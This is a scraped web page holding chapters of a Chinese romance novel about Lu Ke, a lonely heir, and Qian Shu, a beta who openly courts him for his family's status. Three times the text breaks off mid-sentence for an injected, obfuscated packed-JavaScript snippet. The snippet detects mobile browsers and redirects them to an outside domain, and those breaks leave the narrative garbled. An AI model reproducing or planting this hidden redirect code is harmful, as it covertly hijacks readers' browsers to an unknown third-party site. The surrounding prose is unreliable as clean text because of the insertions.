“哥哥,你回来了。”陆昱辰强装镇定的跟陆恪打招呼,嘴唇紧抿。 陆恪手里拿着墨镜和车钥匙,语气很平:“嗯。” 陆恪和陆昱辰其实长得不太像,若你非要说哪里有像的地方,那可能就是那双眼睛。凤眼微挑,柔美又精致。只不过陆恪的眼神冷冽淡漠,眼型狭长,而陆昱辰则明亮有神,圆溜溜的。 陆昱辰步伐迈得很大,尽力跟在陆恪的身边。但是陆恪比他高太多,身高腿长的,走一步抵陆昱辰走两步,陆昱辰跟得很吃力。 “哥哥,你是回来拿飞船模型的吗?那个模型真的超级好看!我在天文馆一眼就看中了,拼了好久才拼好的。”陆昱辰在陆恪旁边没话找话,小嘴叭叭停不下来。 陆恪倒是很平静,不发一言。 进了客厅,很熟悉的布局,里面家具的摆放都和以前大差不差。不过东西更多了,看着更温馨了一点。 陆恪很少回来,但毕竟是住了十几年的地方,他闭着眼睛都能平稳的走到自己的房间。 除了保姆,屋里没有别人,安静的出奇。 “你爸妈呢?”陆恪停下脚步,问道。 陆昱辰连忙回答:“爸爸妈妈去公司了,要很晚才回来。我刚刚上了奥数课,等会儿还要去上书法补习班,等晚上补习班结束,爸爸会来接我。” 哥哥一问,陆昱辰就立刻把自己全部的行程全盘托出,没有任何隐瞒。他在陆恪面前,从来都是有问必答,很听话。 “哦。”陆恪漫不经心道。这些补习课陆恪小时候也上过,不过没人管他,后来就荒废了。 “那等会儿我送你去补习班。”陆恪随口道。 陆昱辰高兴得眼睛亮晶晶的,反复询问:“真的吗?哥哥!你真的要送我去补习吗?” 同样的话陆恪不想说第二遍,他看向二楼,扬了扬下巴,道:“去楼上把你拼的乐高拿下来。” 陆恪根本不想上楼,包括现在,他只是站在客厅,甚至连沙发都没有坐一下,十足的疏离冷淡。这些行为陆昱辰一个小孩子是发现不了的,他只高兴于哥哥愿意接受他的礼物。 陆昱辰跑上楼,陆恪就静静的看着他的背影。陆恪觉得这背影和自己像,又没那么像。陆恪七岁的时候,不会这样活泼,自闭沉闷才是他的常态。 直到坐在陆恪的副驾驶上,陆昱辰还是觉得幸福得不真实,他第一次坐上哥哥的车。陆昱辰控制不住自己,叽叽喳喳,一直哥哥,哥哥。 “哥哥,那你晚上还回来吃晚饭吗?”陆昱辰转头问道。 陆恪在开车,他目视前方,薄唇微启:“不回。” “哦。”陆昱辰有点失落,不过他想到什么,突然又高兴起来,“那哥哥就是回来拿礼物的。” “我只要学习好,爸爸妈妈就会给我很多零花钱。我可以用这些零花钱给哥哥买礼物,哥哥就可以经常回来了。” 陆昱辰是一个生活在爱里的小孩,他的每一次进步,都会得到正向的反馈。 他的父母关注他的成长,会带他去天文馆,会给他认真挑选适合的老师,会在补习课结束亲自去接他。陆昱辰实在是得到了太多的爱。 只有见过了真正的爱,才惊觉自己竟然从来没有拥有过。 陆恪的心情突然就变得十分差劲,难以控制的低落,很多情绪都被强压在心底,无从发泄。和谁发泄呢,难道和一个小孩子? 可是陆昱辰又有什么错呢?他只是得到了陆恪得不到的爱而已。 陆恪的表情完全淡了下去,他现在一句话也不想说。 将陆昱辰送到了补习班,陆恪没有过多停留,直接开车走了,也没去看陆昱辰不舍的神情。 …… 夜晚来临,霓虹灯勾勒出城市繁华的画卷。 台上的歌手,抱着吉他低吟浅唱,修长的手指拨动琴弦,音符跳动。 相对于夜店来说,清吧就清静了许多。灯光昏暗,音乐浅浅,藏在酒里的烦恼各不相同。 有时候,陆恪会来酒吧当驻场歌手。他只是安静的坐在台上,唱着不属于自己的歌。 银灰色的头发藏在黑色鸭舌帽下,帽子遮住了半张脸。低头拨弦的时候,依稀能看见线条利落的侧脸,以及耳边闪着细碎光芒的耳坠。 在昏暗的酒吧里,灯光落在他身上,仿若笼罩上一层圣洁的光晕,疏离又颓丧。 不少人的眼神都落在他的身上,想要去搭讪的人更多。 下面的人眼神微动,去吧台点了一杯酒,问调酒师:“上面这个驻场歌手是谁?有联系方式吗?” 调酒师的目光也看向了台上的身影,摇头道:“没有,如果你想搭讪他,那劝你还是算了吧。” “他很孤僻,几乎不和我们交流的。除了店长,没人知道他的名字,更加没有联系方式。” 这里的陆恪好像又成为了另一个人。 如果说他在人前,是无法无天,张扬肆意,熊熊燃烧的烈焰。那么他在这里,就变成了被雨水打湿后,只剩下点点火星的余烬。 陆恪只在上面唱了几首歌,便兴致寥寥。台上又换了一个人演唱。 他点了杯酒,在一个阴影里,喝着酒。鸭舌帽被随意丢在一边,头发乱糟糟的梳在耳后,眉眼露了出来,锐利又秾艳。 陆恪的美是有攻击性的,他气场太强。哪怕现在安静的坐在下面,也没有人敢真正的凑上前去。 酒一杯接一杯的端到他的面前,大多数的酒都很烈,度数高,后劲儿也大。一般人喝一两杯就醉了,但是陆恪就好像感受不到这些。 “你再喝就要醉了,待会儿有人来接你吗?”店长走到陆恪身边,按住了服务员送上来的酒。 陆恪来这里驻唱了挺长一段时间,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073219|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不经常来,但是店长还是对他印象颇深。他现在的状况明显就不对,一个人喝着闷酒,身边也没有朋友照应。 “无所谓。”陆恪神情寡淡,他垂眼,视线凝在酒杯里的冰块上,晶莹透明。 修长的手指轻握酒杯,轻轻摇晃,冰块撞击着杯壁,发出清脆的声音。 无所谓就是没人来接的意思。 店长还是不放心,坐在陆恪身边,无奈道:“至少要联系一个朋友来接你,或者你给家人打个电话。” 酒精浸染下,陆恪的眼尾泛着绮丽糜烂的红。他垂着眼眸不讲话,沉默的态度,就特别的倔。 联系谁呢? 谁都有自己的生活,在生活的拼图里找到了属于自己的位置,严丝合缝。而陆恪就像是多出来的一块,游离在外。 不期然的,陆恪的脑海里浮现出那双黝黑的眼睛,总是平淡的注视着他。无论他光鲜亮丽的站在台前,还是满身狼狈的困在变形的车舱。 她都在注视着他。 只注视着他。 心脏好像缓慢的跳动起来,一下又一下,带着令人颤栗的钝感,震得陆恪耳朵嗡嗡作响。 酒精的后劲儿慢慢涌了上来,陆恪突然就变得难以忍受。他想,他真的喝了太多的酒,没有办法一个人离开。 他需要……需要有人在他的身边。 …… 千述已经洗漱完,躺在了床上。千述是一个十分自律的人,作息时间也很稳定,很少打乱。少有的几次熬夜,都是因为陆恪。 手机顶端弹出来一条消息,点开是特别关心发的动态。千述的特别关心只有两个人,除了贺诚军,就是陆恪。 而贺诚军不会晚上发动态。 千述点开朋友圈,是陆恪发的一个酒吧定位,什么文字也没有,就简单的一个定位。 有时候千述很难揣摩清楚陆恪的想法。他脾气很怪,说话嘴也很毒。千述花费了很多心思追他,却仍旧被嗤之以鼻。 千述看着这条动态,点开定位看了看。发现离千述住的地方很远,打车过去都要半个多小时。而现在已经很晚了,快到凌晨。 或许没有别的意思,只是陆恪单纯想发出来吧,千述沉思。 她关上手机准备睡觉。 另一边,酒吧里的人已经走完了,服务员开始打扫卫生,收拾东西。 现在已经过了凌晨,天幕黑沉,只有路灯散发着昏黄的光。街道空荡荡的,偶尔经过一两辆车,快速驶过,留下残影。 太安静了,无论是无人的街道,还是空旷的酒吧,都太安静了。 店长轻声叹气,坐在陆恪旁边:“我们要打烊了,接你的人来了吗?” “或者,我找个人送你回家。” 陆恪没回答,长长的睫毛投下一片淡淡的阴影,看不清楚他眼底的神色。 他玩着手机,屏幕点亮又摁熄,反反复复,漫不经心的样子。手机的信号满格,却一条信息也收不到。 陆恪嘴角微微勾起,扯出一抹讽刺的笑。 他觉得自己是个傻子,竟然会相信那个女beta真的喜欢他。还蠢得要命,发一条仅她可见的动态,妄想着她会来找他。 她是骗子,你明明知道的。 她就是个骗子。 陆恪的银发都耷拉了下来,柔顺的贴着额头,看着就是莫名的可怜。 店长叹气:“等会儿我找人送你吧。” “不用。”陆恪语气越发的淡,他将手机揣进口袋里,拿着鸭舌帽就准备往外面走。 店长追上他,看他走路都有点走不稳的样子,劝道:“你一个人怎么回去,我还是找个人送你,安全一点。” 陆恪抿着唇不讲话,只固执的往外面走。 酒吧的门被推开,走进来一个纤细的身影。 “很抱歉,我们已经打烊,不接待客人了。”打扫卫生的服务员抬头,婉拒这位深夜到访的客人。 “我知道。”千述语调平和,在夜里听着有些凉,“我是来接人的。” 陆恪的脚步顿在原地。 15. 第 15 章 千述是一个beta,并非是高大伟岸的身形。但是在这一瞬间,陆恪远远的看着她,竟恍惚觉得自己被稳稳的承接住。 陆恪的心脏就像是被一只大手轻轻攥住,又酸又涩。 他不确定这是什么感觉。 千述看着陆恪愣愣的站在原地,向他走了过去,轻声问道:“醉了吗?” “没醉。”陆恪摇头,抿着唇,声音低低的。 他今天完全没了以往的气势,尤其是现在喝了酒,皮肤染上酡红。 “还没醉?”站在他身旁的店长看陆恪还这副逞强的样子,吐槽:“喝了这么多酒,路都走不稳了还说没醉。” 千述神情不变,她没有问陆恪为什么喝这么多酒,又是否遇到了难过的事情。 她只是语气平和对着陆恪说:“走,回家了。” 这句话太短又太轻,听起来没有什么重量。却仿佛千斤重,压在陆恪心底。他的呼吸几乎都变得缓慢,喉咙里发不出一丝声音。 千述没有关注到陆恪的这些情绪,她礼貌的给店长致歉:“多有打搅,麻烦你了。” 店主摆摆手,热情爽朗:“多大个事儿,以后常来。” 千述带着陆恪出了酒吧。陆恪喝了酒,没办法开车,所以千述送他回去。今天晚上她开车来的,是向曼青的那辆二手马自达。 向曼青回S市的时候,把车钥匙给了千述。说她暑假实习,有车上下班会方便一点。 陆恪走得有些慢,他喝了酒脚步虚浮,眼前有重影,那是千述的身影。 千述想伸手扶他,又想起陆恪不太喜欢别人触碰他,千述就收回手,走几步站在前面等他一会儿。 直到陆恪坐在副驾驶上,他还是一副垂着眼眸,不说话的样子。千述现在确定陆恪有些醉了,不然他不会这样呆愣愣的。 早就凤眼斜飞,高高在上的睨着人。 “把安全带系好。”千述转头看向陆恪,提醒道。 车厢里有些昏暗密闭,只有仪表盘发出幽幽蓝光。 空气里有淡淡的酒气,若有似无,漂浮在千述的周围。借着路灯的光,隐约能看到陆恪的侧脸,以及脸上薄红。 他抬手系安全带,酒意上涌,头晕晕的,陆恪系了好几次,都没有插进锁扣中。 “还是我来吧。”千述看他实在费劲儿,拿过了陆恪手中的安全带,微微凑了过去。 一声脆响,安全带系上了。 两人离得很近,近到千述能感受到陆恪温热的呼吸,喷洒在她颈侧的皮肤。这样的氛围实在有些暧昧,空气都仿佛凝固在一起。 千述神情平静,但是眼底又多了些意味不明。千述直起身,陆恪却抬手一把抓住她的手腕。 “你为什么来接我?”陆恪的声音低沉沙哑,带着一丝醉意和执拗。他的眼神直直的盯着千述,仿佛要看进去她的内心。 陆恪的掌心很烫,千述的手却很凉。像是被酒精点燃的火焰,沿着千述微凉的肌肤渗透进身体里,蔓延到四肢百骸。 千述沉默半响,才开口道:“我看到了你发的定位,担心你醉酒,所以来了。” 在和陆恪的相处中,千述更像是一个追逐者,她从不阻拦陆恪做任何的事情,只安静沉默的跟在他的身后。 陆恪对千述这句回答并不满意。 这个女beta总是这样,嘴上说的话很动听,但是你如果往深了看,往她的心底看,就会发现,她的喜欢是如此的怪异。 她就像是在扮演一个“追求者”的角色,她的每一个行为,每一句话都在为这个角色服务。 表演出来的喜欢是真正的喜欢吗? 陆恪已经不耐烦和千述交流,她想演就让她演,随便她演到几时。 “去云栖御庭。”陆恪语气不太好,他懒懒的闭着眼睛,靠在座椅上,不再看千述。 见陆恪又变了脸色,千述习以为常。她打开导航,车辆开始缓步向前。 千述开车很平稳,她带着黑框眼镜,目视前方。千述并不是一个急躁的性子,哪怕到了深夜,也没有那种放纵驰骋,猛踩油门的习惯。 车辆行驶在空旷的街道,窗外的风景飞速后退。陆恪微微偏着头,呼吸均匀而轻缓,显然已经沉入梦乡。 千述侧头看了一眼,路灯斑驳的光影偶尔落在陆恪的脸上,将他锐利的眉眼柔和了许多。千述关上车窗,将嘈杂隔绝在外,随着车窗的闭合,车内陷入更深的寂静。 云栖御庭就是陆恪现在住的地方,是一个高档小区。相比于碧府大院那样静谧的宅院,市中心的大平层显然更热闹一些。 千述是外来车辆,废了一番功夫,千述的车才停在了地下车库。 目的地已经到达,导航提示音响起。哪怕是这样,陆恪都没醒。千述看着陆恪沉睡的侧脸,顿了片刻,还是轻声唤他。 陆恪睁开迷蒙的双眼,有些聚不了焦,还没从睡意中挣脱。他看着千述的脸,许久才启唇,含糊不清道:“骗子。” 千述面色平静无波,有些敷衍的应了一声:“嗯,我是骗子。”千述探身将陆恪的安全带解开,“已经到了,回去再睡。” 这是千述第一次来陆恪家里。 现在陆恪的酒意好像才真正的涌了上来,他胃里翻江倒海的难受,方才还泛红的脸色,现在已经苍白下去。 他踉踉跄跄的地冲进卫生间,一把抱住马桶,吐的昏天黑地。 千述没有进去,只在外面等着。 陆恪是一个很高傲的人,绝不愿意别人看见他狼狈的一面。 当然,对于千述而言,如果太深刻的接触到某个人的另一面,例如脆弱,事情将会变得很麻烦。 陆恪从卫生间里出来的时候,整个人都像是从水里捞出来的。这套房子很大,也很空旷,寂静得吓人。 就像以往的很多次,陆恪醉酒,难受又清醒的时候,这偌大的房子里只有他一人。 陆恪瘫坐在地上,头轻轻靠在沙发上。屋里的灯都打开了,很亮也很刺眼,孤寂在这里一览无余。 那个女beta应该走了吧,陆恪心想。 看吧,她也装不了很久。 千述从岛台那边过来的时候,就看见陆恪乱糟糟的坐在地毯上。 现在是夏天,天气已经很热了,陆恪穿的是一件简单的T恤。因为坐着的姿势,衣角一端微微撩了起来,露出一截劲瘦的腰。 千述的目光在上面停留一瞬,又不着痕迹的挪开。 “在地上坐着干什么。”千述手里端着温水向沙发走去。 陆恪的冰箱实在是太空了,几乎没有食材。还好来的时候千述买了醒酒药,方才去岛台接了温水。 陆恪瞳孔微缩,他转头就看见了千述站在灯下的身影。 “我来的时候买了醒酒药,你吃一颗再睡觉,明天醒了不会头疼。”千述将水还有药放在陆恪身边的茶几上。 千述做事情就是如此的周到体贴,无论是工作上还是生活中。 甚至因为太细致,有时候会让人分不清她是出于关心才如此细致入微,还是说这是她的个人习惯,对所有人都是如此。 陆恪有些呆愣的看着她,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073220|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光随着千述的动作落在茶几上那颗小小的白色药丸上。 沉默良久,陆恪才开口,声音就像是从嗓子里挤出来的一般,带着涩意:“我用不着你在这里虚情假意的关心我。” “你让我觉得恶心。” 陆恪实在是尖锐,越是靠得近,他的反抗就越是强烈。 有时候千述很难理解陆恪为什么一定要这样较真,就一定要将千述的每个讨好的行为摊开,质疑背后的真心。 千述不想跟一个酒醉之人起争执,大晚上的,很累。 她把水端起来,递给陆恪,随口应付道:“你就当我是虚情假意,先把醒酒药吃了。” 陆恪察觉到了千述的敷衍与藏在语气中的不耐,他更生气了,一把将千述手中的水杯打翻。 温热的水洒落在地毯上,瞬间将地毯浸湿。空了的水杯在地毯上咕噜咕噜的滚了几圈,最后停在了茶几旁边。 哪怕是这样,陆恪心中的怒气也没消下去半分,反而愈演愈烈。 和千述相处,就像在和一个空心人相处。她的心是空的,哪怕她对你再好,这都不是出自她的本心。 这让陆恪有一种被束缚的,无法发泄的憋闷感。 “这些事情你根本不想做!” “你根本不想半夜来接我,你也对我的事情不感兴趣。但是你要来追我,到底是出自于喜欢,还是为了利益,你心里十分明白。” 或许是因为酒精的催化,又或许是陆恪再也控制不住自己的情绪。他就像是被关在牢笼里的困兽,焦躁又愤怒,甚至连炽热的信息素都控制不住的溢了出来。 “你和他们,和那些处心积虑的接近我的人,没有任何区别。你甚至更加恶心的打着喜欢的幌子,你的伪装并不高明。” 陆恪是一个非常执拗的人,越是他在乎的东西,他就越是揪住细节不放。他会抓住那一点点的破绽,翻来覆去的,反反复复的拿出来质疑。 他对待感情实在是太不安,太理想化了。 千述视线凝在地上的水杯上,耳边是陆恪有些崩溃的责问。千述一瞬间觉得自己简直在自找罪受,她明天一大早还要去上班,她本来可以安心的睡个好觉。 为什么要大晚上的和一个喝醉了酒的,情绪不稳定的人吵架。 难得的,千述一潭死水的情绪出现了波动。本来以为只是一颗小小的石子投入潭中,没想到溅起来的涟漪却越来越大,到了无法停歇的地步。 千述垂着眼眸将水杯捡了起来,放在茶几上。 然后抬眼看着陆恪因为愤怒而染上一层红晕的脸庞,他唇线紧绷,双眸仿佛燃起两簇小小的火焰,亮的惊人。 “你说的对。”千述直直的看着陆恪的双眼,语气平淡冷漠,“我是在打着喜欢你的幌子接近你。” “但是那又怎样?” 千述就好像抛弃了那层假面,开始变得直白又坦荡。 “不止是我,你身边所有接触你的人,谁不忌惮你的身份地位,将你高高捧起。你不止是陆恪,还是陆家的大少爷,这是你无法抛开的身份。” “所以我因为你的家世喜欢你又有什么不对呢?那也是你的组成部分之一。” 千述说的实在是太坦然,她平静的看着陆恪,眼神没有任何躲闪,更不存在心虚。 陆恪被千述这一番理论完全噎得说不出话来,他知道千述在诡辩,但就是说不出辩驳她的话。 他看着千述,被气得手抖:“滚,我不想看见你!” 千述摊手,干脆利落的起身,道:“行,记得把醒酒药吃了。” 16. 第 16 章 后来的整个暑假,千述和陆恪再也没有见过。 千述依旧忙碌,很少想起陆恪。 在实习公司的同事有时候会问千述对于未来的规划,在她们眼中,千述还是个小妹妹,正处在选择人生之路的时间段。 “你毕业之后可以来公司上班,你在这里实习过,投简历也很容易通过的。” 同事姐姐和千述一起吃饭,想到这个便随口说了出来。公司里没什么人知道千述的家境,千述也从不在外面提这些。 另一个同事不认同:“她这个专业肯定还要读研深造的,本科毕业还是差了一截。” “也对,在你们本校读研,或者出国读个研究生回来,学历上也更优秀一点。”同事点点头,了然道。 “你怎么想?千述。”两个同事都看向千述,询问道。 “都可以的。”千述平静的回答,垂着眼睫安静的吃饭。 到了九月开学,他们开始上大三,对于未来的选择,也开始慢慢变得清晰。 一整个暑假没见,几个人都还有点想念,寝室里又开始热闹起来。 收拾书桌的时候,罗玉兰问向曼青:“你要准备考雅思了吧。” “嗯。”向曼青点头,她英语不差,对待考试也很严谨。 “这还没毕业,我都有点伤感了。到时候你去了国外,见面的机会就很少了。”罗玉兰有一点感慨。 她是不准备读研的,罗玉兰本身也不喜欢本专业。她想去学动画,但是家里人不同意,才学了现在这个专业。 后来读大学玩游戏,成了小有名气的游戏主播,在网络上还挺多的粉丝,还去线下的电竞赛事当过解说。 “你准备去哪个国家读研?”千述在一旁,突然问道。 向曼青拿起手中的留学生手册,翻开里面的一页,道:“瑞士。” 千述看着留学生手册上面的图片,是瑞士的雪山。远处是巍峨壮阔的雪山,近处是连绵的绿色草甸,以及典雅庄秀的村庄,构成美丽的景色。 向曼青拍了拍千述的肩膀,笑道:“到时候随时欢迎你来找我玩。” 千述睫毛微微颤动,眼眸微弯:“好。” 谢宁来的最晚,她每次都有开学困难症。一离开家就心里难受,这也不舒服,那也不舒服的。反正放假她是第一个走,开学她是最后一个来。 等谢宁来了,213寝室才算集齐。 在学校的日子很平静,千述现在是一边上课一边兼职。日子过得像苦行僧,有时候会看见她晚上拉灯补实习报告。 谢宁和千述出寝室拿快递的时候,曾经低声问她是不是缺钱,如果缺钱可以借钱给她。 当时谢宁犹豫了很久,才很小声的问千述。估计是害怕说的话太冒昧,引起千述反感。 千述看着谢宁有点纠结,又小心翼翼的神情,扑哧一笑,道:“我不缺钱。” “不过也缺。”千述想了想,纠正了自己的话,“就算是很多的钱也还不清,所以这也算缺钱吧。” “我只是不知道未来是如何的,我又会面临怎样的处境。所以努力一些,多一些筹码也是好的。”千述的语气有些淡,轻飘飘的,口中的迷茫随着风吹向远方。 现在已经是十月,天气转凉,树叶也开始泛黄。风轻轻一吹,就会有枯黄的树叶从树枝上飘飘荡荡的落下来。 “很多钱也还不清?!”谢宁大惊,声音一下就大了起来,周围的人都看过来,谢宁又忙捂住嘴。 千述说了这么多,谢宁就只听见那句还不清,瞬间觉得天塌了。 “你是不是去借了高利贷?”谢宁放低声音,凑到千述耳边严肃问道。 “想什么呢!”千述笑道,“没有。” “没有吗?”谢宁凑近问。 “真的没有!”千述推了推谢宁的肩,保证道。 “你不用担心我,让罗玉兰和向曼青也不用担心。”千述知道寝室里的三个人早就欲言又止,只是千述有些事不方便说,也不知道要怎么说。 谢宁狐疑的眼神看着千述,良久才道:“行吧。” “不过你遇到什么困难,一定要跟我们说。虽说我们也不一定能帮上什么忙,但至少可以给你出出主意。”谢宁亲昵的挽着千述的手腕,头靠在她的肩上。 “好的,我知道啦。”千述笑答。 ...... 陆恪再一次和千述见面已经到了冬天,一个学期快结束了。 就很神奇,明明两人就在一个学校,但就是再也没见过。 A市的冬天是会下雪的,下雪前的几天天气都特别阴沉,风刮得也很猛烈。这个时候在外面走上一圈,准把你的鼻子冻得通红。 那天下午千述正好从兼职的地方下班,她需要路过一个商场,走一段路才能到地铁站。因为很冷千述把羽绒服的帽子戴在头上,手揣兜里往前面走。 这个时候已经快到了圣诞节,所以个个商场早早的准备好圣诞节的装饰物。商场外面是一个巨大的圣诞树,上面挂着亮闪闪的星星,不少人在站在那里拍照。 千述走过去的时候,还抬眼看了看。 然后就看到一个熟悉的身影从大门里走出来。 冷风拂过陆恪的脸颊,带起几缕凌乱的发丝。他穿的衣服很单薄,就一件风衣,在这样严寒的冬日就看着格外的冷,沉郁得像这冬日灰蒙蒙的天空, 陆恪的脸色很差,神色冰冷,拒人于千里之外的样子。他大步往前走,冷风吹起他的衣摆,露出修长的双腿,长腿的迈出的每一步都带着冷峻。 跟在他身边的还有一个男性beta,看起来六十几岁的年纪,鬓角白发已生,有了岁月的痕迹。整个人面相和蔼可亲,透着慈祥。 那个男性beta一直在陆恪耳边说着话,语气带着劝慰,但是陆恪完全就不为所动,面色依旧冷冰冰的,没有任何缓和的迹象。 然后在这样的冬日,两人的目光透过冷冽的空气,撞在一起。陆恪停下脚步,看着不远处这个许久未见的女beta。 几个月的时间,实在是在千述身上看不出什么区别。她还是和那天晚上一样,平淡的,没有情绪波澜的样子。 所以,有没有陆恪对千述而言并没有什么区别。她根本不像她所说的,对陆恪有多喜欢。 千述说的那些话,做的那些事都是为了完成她的目的。那现在发现陆恪很难搞定,发现做的努力完全白费,这个女beta就放弃了他这个目标。 陆恪当时没有接受这个女beta任何的示好,是正确的选择,她就是这样一个虚伪的人。 但是陆恪心里,很深很深的地方有些堵,很轻微,几乎可以忽略不计,连他都没有发觉。 看到陆恪停了下来,老管家才努力平稳了呼吸。他年纪上来了,也没有当年的体力。陆恪听到他说这些话就生气的走了,老管家跟在后面还有点费力。 自从陆老爷子去世以后,老管家就从陆家辞职,选择回家养老。他在陆家工作了几十年,可以说陆恪从小到大,老管家都是陪在他身边的。 所以陆凌风才将他找来,觉得陆恪至少会听老管家几句劝。 老管家看着陆恪也是心疼,从小父母不在身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073221|163315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。就一个爷爷带着长大,陆老爷子年纪大了,后来又生着病,没那么多精力管教他,才将陆恪养成了现在这样乖戾的性子。 但是老管家始终是记得陆恪小时候站在二楼,偷偷看着陆凌风的车开走,眼眶里挂着的泪。 他不是一个很坏的人。 老管家苦口婆心的对着陆恪说:“你不要再和你父亲置气,这不值得。我听说你已经从家里搬出来一个人居住。” “又没有人照顾你,你父亲不放心,让我来劝劝你,搬回去住。” “你以前不是很想让他从国外回来吗?那他回来了,你们又怎么会有这么大的冲突。” 这些话陆恪今天已经听了太多次,他如果知道这次是来被说教的,那他绝对不会来应约。 在千述面前,听到老管家这些话,让陆恪更加烦躁。他甚至有一种面前这个女beta在看他笑话的感觉。 陆恪不再做停留,从千述身边擦肩而过,半分目光都不再留给她。 看着二人离去的背影,然后又看着他们上了车。千述不置可否,她将把灌风的衣领拉紧,继续往地铁站走。 ...... 圣诞节那天,A市突然就放晴了。只下了一次雪,也没有很大,可以说是雨夹雪吧。所以路上不是那种松软的白雪,而是结了冰,然后又化成水,看着脏兮兮的。 因为圣诞节,寝室四个人就准备去聚餐。 这个餐厅谢宁早就想吃了,奈何贵,所以一直没有下手。这次正好是圣诞节,就想着开心一下,所以很早就预定了这家餐厅。 寝室里其他几个人也很捧场,毕竟吃一次也没什么所谓。 圣诞节到处都很热闹,人潮拥挤。这种热闹的气氛很感染人,四个人心情都很好。 餐厅在顶楼,从上往下俯瞰,能将A市尽收眼底。 在等餐途中,谢宁已经开始自拍,今天她画了好看的妆,罗玉兰也过去凑热闹。两人拍到了兴头上,还不忘给千述和向曼青拍照,千述配合的抬手比耶。 千述的手机跳出来一条好友申请,一个不认识的头像。正好这个时候点的餐上来了,谢宁让她们别动筷,她要拍照,千述就没管这个小插曲。 等她想起这条好友申请的时候,已经到了下午快到傍晚的样子。 晚上这边的广场要举办活动,热闹的很,很多人都聚集在那一块儿。 寝室几个人也上去凑热闹,千述打开手机想看现在几点了,什么时候开始活动。然后就看到手机顶端的小图标,突然想起还没同意别人的申请。 千述点了同意,好友可以开始聊天了。 那边几乎是瞬间就在输入中,千述还有点诧异,这是有什么急事找她? “我是方知明。” 那人的第一句便是自报家门,千述看着手机,在想为什么方知明会联系她,因为他们实在是不熟。 千述没回,然后看着那边在不断输入中,后来干脆不发消息,直接打了一个语音过来。 看着手机里的语音通话,千述微微蹙眉,没点接通。 罗玉兰在千述身边,注意到她一直拿着手机,就凑过来问了一句:“怎么了?” 千述指了指手机,道:“我去那边接个电话。” 千述出了人群,找了一个僻静的地方。方才的电话没接通,方知明又打了一个电话过来,应该是真的有急事。 千述点了通话键。 电话那边瞬间传来男声,声音有些焦急:“千述,你在A市吗?” “能麻烦你去一趟陆哥家里吗,他好像生病了。” 17. 第 17 章 在去的路上,千述还是觉得有点莫名其妙。 “你自己为什么不去?”千述反问道。 方知明解释道:“我人在日本,这几天台风,飞机延误了,暂时回不来。” 方知明最近交往了一个omega,是他高中时候就暗恋的女生。那个女生高中毕业就去了日本留学,和方知明断了联系。后来不知道二人又怎么恢复了通信,还没到圣诞节,方知明就巴巴的飞去日本找人家了。 “前段时间陆哥就有点不舒服,今天我给他打电话,都没人接,你帮忙过去看一眼。”方知明语气有点急。 不知道为什么,方知明对这个女beta格外信任。陆恪身边来来往往很多人,方知明都看在眼里。相较于那些追求者,千述就总给人一种可以依靠的感觉。 尤其在碧云山赛车比赛那次,如果不是有千述,那真的就要酿成大祸了。 所以方知明对千述的观感特别好。 “真的拜托你了!你也知道陆哥这个人特别倔,他不让我打120。”方知明语气中带着恳求。 千述沉默,然后就坐上了去往云栖御庭的出租车。 方知明还把陆恪家的密码告诉了她,但其实不用,因为上次陆恪酒醉,是千述开的门。 傍晚的时间流逝得好像更快一些,就一会儿的时间,天色已经黑了下来。 晚上的时候很冷,千述戴着围巾,她的头靠在轻轻靠在车窗,下巴缩在围巾里。偶尔会有灯光透过车窗洒落在她的脸上,柔和了她的轮廓。 难得的千述有些发神。 母亲千朝在千述高二的时候去世。千朝是一个病弱的beta,在千述的印象里,千朝的身体一直都不太好,总是生病住在医院。 那个时候千述放学就总是去医院陪她,甚至作业都是在医院做的。千述很害怕千朝离开,包括到现在,千述都不喜欢说千朝“死”了,只说她离开了。 千述那时候上高中,学习很紧张。她学习底子不算很好,所以在学习上要更认真努力,才能追的上班里的同学。 在这样的情况下,千述甚至提出要在医院给千朝陪床,照顾千朝,连贺诚军都从没有来医院陪床过。 千朝拒绝,苍白的脸上挂着淡淡的笑意,她说:“医院半夜会有护士来查房,你睡不好会影响白天的学习状态。” “你不是想考A大吗,如果你是为了陪我,与A大失之交臂,妈妈会自责一辈子的。”千朝温柔的摸摸千述的头。 千述黝黑的眼眸定定的看着面前这个病弱的女beta,她想,千朝实在是一个温柔的妈妈。 是她的妈妈,是千述的妈妈。 千朝去世以后,千述留在家里的时间就变得越来越少。高三毕业那个暑假,千述所有时间都在外面兼职,贺诚军对此表示十分欣慰。 在他看来,千述可以自力更生,不要麻烦他是最好的。 千述对于这位父亲并没有太多的感情,对他的很多观念也并不认同。但是没有办法,这是她的父亲,很多时候千述必须听从他的话。 母亲应该也想让她听话,千述垂着的眼睫轻轻颤动。 